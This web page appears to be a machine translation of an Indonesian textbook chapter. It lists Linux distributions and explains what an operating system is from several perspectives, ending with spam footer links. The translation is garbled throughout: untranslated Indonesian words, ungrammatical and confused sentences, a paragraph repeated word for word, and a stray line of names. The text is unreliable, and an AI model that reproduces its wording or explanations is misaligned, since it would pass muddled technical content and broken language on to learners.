Linux can be found in a variety of distribution (often called distributions). Distribution is a bundle of the Linux kernel, along with basic linux system, the installation program, basic tools, programs and other benefits in accordance with the purposes of making distributions. There are many Linux distributions, including:
RedHat, the distribution of the most popular, at least in Indonesia. RedHat distribution is the first installation and operation easy. Debian, the distribution to the stability and reliability, although the expense of convenience and kemutakhiran aspects of the program. Debian uses. Deb packages in the installation program. _ Slackware, a distribution that has been dominate in the Linux world. Almost all the documentation based on Slackware Linux. Two important things from Slackware, is that all content (kernel, libraries, or application) is that reliability. So may be slightly older but certainly stable. The second because he recommends to install from source, so that every program that we install the system fully optimized with us. This is the reason he did not want to use the binary RPM and up to Slackware 4.0, it still uses libc5 not glibc2 as the other. SuSe, the distribution is very popular with YaST (Yet another Setup Tool) to configure the system.
SuSE distribution is the first installation where you can use the Indonesian language. Mandrake, RedHat distribution is a variant optimized for pentium. If we use the computer to pentium top general, the way Linux can be more quickly with Mandrake. WinLinux, distribution, which is designed to install on a DOS partition (Windows). So to be on the run-click from Windows. WinLinux made as if the application is a program under Windows. And many other distributions, distributions that are available and which will appear. Anton, Afri, and Wisesa Open Source Campus Agreement.

Definition of the Operating System

Defining the term "Operating System" may be a simple, but it may also be a very ribet! The readers likely never heard the term "Operating System". May also have related directly or indirectly with these terms. However, not necessarily with regard to explaining what is actually meant by the word "Operating System". Conversely, many also had heard the trademark "WindowsTM 1)" or the term "GNU / Linux 2)", and mengidentikkan name of the Windows CE or GNU / Linux with the term "Operating System" is.

A computer system can be divided into several main components, such as

Defining the term "Operating System" may be a simple, but it may also be a very ribet! The readers likely never heard the term "Operating System". May also have related directly or indirectly with these terms. However, not necessarily with regard to explaining what is actually meant by the word "Operating System". Conversely, many also had heard the trademark "WindowsTM 1)" or the term "GNU / Linux 2)", and mengidentikkan name of the Windows CE or GNU / Linux with the term "Operating System" is.

A computer system can be divided into several main components, such as "users", "hardware", and "software". "The users" (users) is a party that utilize the computer system. The user here is not only human, but the program may form other applications, computer or other device. "Hardware" (hardware) is shaped concrete object that can be seen and touched. The device is a hard core of a system, and the provider of source-power (resources) for purposes of computing. Among the "users" and "hardware" there is an abstract layer called the "software" (software). Overall, the software helps users to utilize the power source computation-provided hardware. Software in outline is divided into two, namely the "application" and "Operating System". "Program application" is software that is run by users mencapat for a particular purpose. For instance, we explore the Internet using the application "Browser". Or change (edit) file an application with the "Editor". Meanwhile, "Operating System" can be said is a "software" envelop "hardware to be more easily used by the users through the program application. Operating System is in between the computer hardware and software applications. However, how to determine the exact, location of the border between the "computer hardware" and "Operating System", and especially between "software application" and "Operating System"? For instance, whether the "Internet ExplorerTM 3)" is an application or part of the Operating System? Who is entitled to determine the border? Are the users? What is the need to be discussed soundly through the mailing list? What is the need to be decided by a court? Are the politicians (decay) should submit a plan Law System Operation first? In terms of more detailed, Operating System is defined as a program that set the computer hardware, by providing a platform for applications that are above, and act as a communicator between the user with the hardware. Operating System duty to control (control) and coordinate the use of the hardware for various applications programs for various users. Thus, an Operating System is not a part of computer hardware, and also is not part of the computer software applications, especially of course is not part of the user's computer.

The definition of Operating System can be viewed from different angles. From the perspective of users, the Operating System as a tool to facilitate the use of the computer. In this Operating System should be designed with ease of use, compared to the importance of performance or utilization of the resources. In the environment berpengguna-many (multi-user), Operating System can be seen as tools to maximize the use of the resource-power computer. However, on some computers, the user perspective can be only slightly or not at all. For example, embedded computer in the household equipment such as washing machines and so may have the indicator light to show the current situation, but the Operating System is designed to work without user intervention.
From the perspective system, Operating System can be considered as a means of putting resources-efficient power (Resource Allocator). Operating System is the manager for the power-source, who handles the conflict-demand power source efficiently. Operating systems also manage the execution of applications and operating equipment from M / K (Input / Output). This function also known as a program manager (Control Program). Moreover, the Operating System is a part of a program that runs every time the term is known as the kernel.
From the perspective purpose Operating System, Operating System can be seen as tools that make computers more comfortable to use (Convenient) to run the application and resolve the problem of the user. Another goal is to make the System Operation of the computer into power-efficient.
Can be concluded that the Operating System is an important component of any computer system. As a result, the lessons "Operating System" as an important component of the education system based on "computer science". Operating System concept can be more easily understood, if also hard to understand the type of device used. Similarly vice versa. From the known history that the Operating System and hardware affect each other and complement each other. Structure of an Operating System is very dependent on the hardware that was first used to develop it. While the development of the hardware is influenced from things that are needed by an Operating System. In the sub-section, the following illustration will be given various types of development and the Operating System device and its severity.

Reference
[Morgan1992] K Morgan. "The RTOS Difference." Byte. August 1992. 1992.
[Silberschatz2005] Avi Silberschatz, Peter Galvin, and Grag Gagne. 2005. Operating Systems
Concepts. Seventh Edition. John Wiley & Sons.
Introduction to Computer Operating System: Linux Kernel Plus Illustration, Digital Communities Gotong Royong (MDGR) Revision 4.00 28-Aug-2006

 
Free Host | lasik eye surgery | accountant website design